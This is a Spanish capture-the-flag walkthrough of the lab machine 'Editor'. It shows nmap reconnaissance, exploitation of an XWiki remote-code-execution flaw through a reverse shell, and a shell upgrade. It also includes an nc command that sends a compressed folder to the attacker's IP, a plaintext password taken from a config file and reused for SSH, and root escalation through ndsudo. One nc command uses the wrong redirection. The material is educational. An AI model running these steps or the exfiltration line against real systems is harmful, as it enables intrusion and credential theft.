Editor
$$ E = mc^3 $$
Análisis de la máquina víctima
Escaneo con Nmap
Empiezo con un escaneo rápido para ver que tenemos delante.
nmap -p- --open --min-rate 5000 -vvv -sS -Pn -n 10.10.11.80 -oX targeted.xml
Como siempre, vamos a transformarlo en html y vamos a visualizarlo desde el navegador:
xsltproc targeted.xml > targeted.html
xdg-open targeted.html

Análisis detallado con Nmap
Una vez vemos lo que tenemos delante, es hora de ver más de cerca a lo que nos enfrentamos, para ello:
nmap -p22,80,8080 -sCV 10.10.11.80 -oX fullScan.xml
Y lo convertivos a html:
xsltproc fullScan.xml > scan.html
xdg-open scan.html

Una vez ya tenemos todo, no hay que olvidarse de añadir la IP a /etc/hosts:
10.10.11.80 editor.htb wiki.editor.htb editor
Busqueda de vulnerabilidades
Una vez ya tenemos un análisis general de lo que tenemos delante, es hora de buscar vulnerabilidades.
Mis ojos van directo a una cosa: xwiki 15.10.8.
Es conocida una vulnerabilidad que permite ejecutar codigo remoto en esta versión. Nos aprovecharemos de ello. Es por eso que haré uso de este script.
Únicamente deberemos estar en escucha en un puerto con nc y ya tendremos acceso a la máquina victima.
Un paso que considero imprescindible es tener una shell interactiva funcional, para ello, en la consola de la máquina víctima:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Seguido de Ctrl + Z para, en nuestra terminal, escribir:
stty raw -echo; fg
Y por último:
export TERM=xterm
stty columns 44 rows 128 #Deberemos ver el tamaño de nuestra terminal con stty size
Ya está, se puede trabajar más comodamente.
Obtener la bandera del usuario
En un primer momento, podemos observar que el usuario que poseemos se llama xwiki, y que también hay un usuario llamado oliver al cual, por el momento no tenemos acceso.
Nos ubicamos en el directorio /usr/lib/xwiki-jetty y es de los pocos lugares a los cuales tenemos acceso, por ende, tenemos que encontrar aquí lo que necesitamos. Para trabajar mejor, decido llevarme la carpeta comprimida a mi host.
En la máquina victima, desde /usr/lib:
tar -czvf /tmp/xwiki-jetty.tar.gz xwiki-jetty
nc 10.10.15.66 4444 > /tmp/xwiki-jetty.tar.gz
Mientras en el cliente:
nc -lnvp 4444 > ../../content/xwiki-jetty.tar.gz
tar -xzvf xwiki-jetty.tar.gz #En la ruta donde esté la carpeta comprimida
Ahora ya podemos ver que puede ser interesante desde nuestro host.
El archivo que nos interesa está en /usr/lib/xwiki/WEB-INF, el cual es el hibernate.cfg.xml. Si filtramos por password:
cat /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml | grep password
Obtenemos la siguiente salida:
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password"></property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password"></property>
Y theEd1t0rTeam99 tiene toda la pinta de ser la contraseña del usuario oliver.
Al estar el puerto de ssh abierto (lo hemos comprobado previamente con nmap), probamos a ver si hay suerte.
Y, efectivamente, si es. Ya podemos obtener la bandera:

Escalar privilegios
Una vez ya tenemos acceso al sistema, es hora de probar a conseguir la escalada de privilegios. Para ello, miramos que puede ser vulnerable de la siguiente manera:
find / -user root -perm -4000 -print 2>/dev/null
La salida nos da como resultado lo típico, exceptuando una cosa: ndsudo. Es conocida una vulnerabilidad que permite escalar privilegios. Por ende, hago uso del siguiente exploit.
Seguimos los pasos y lo ejecutamos en la máquina victima.
Al final obtendremos la bandera del usuario root.
Resultado

Hecho por Iñaki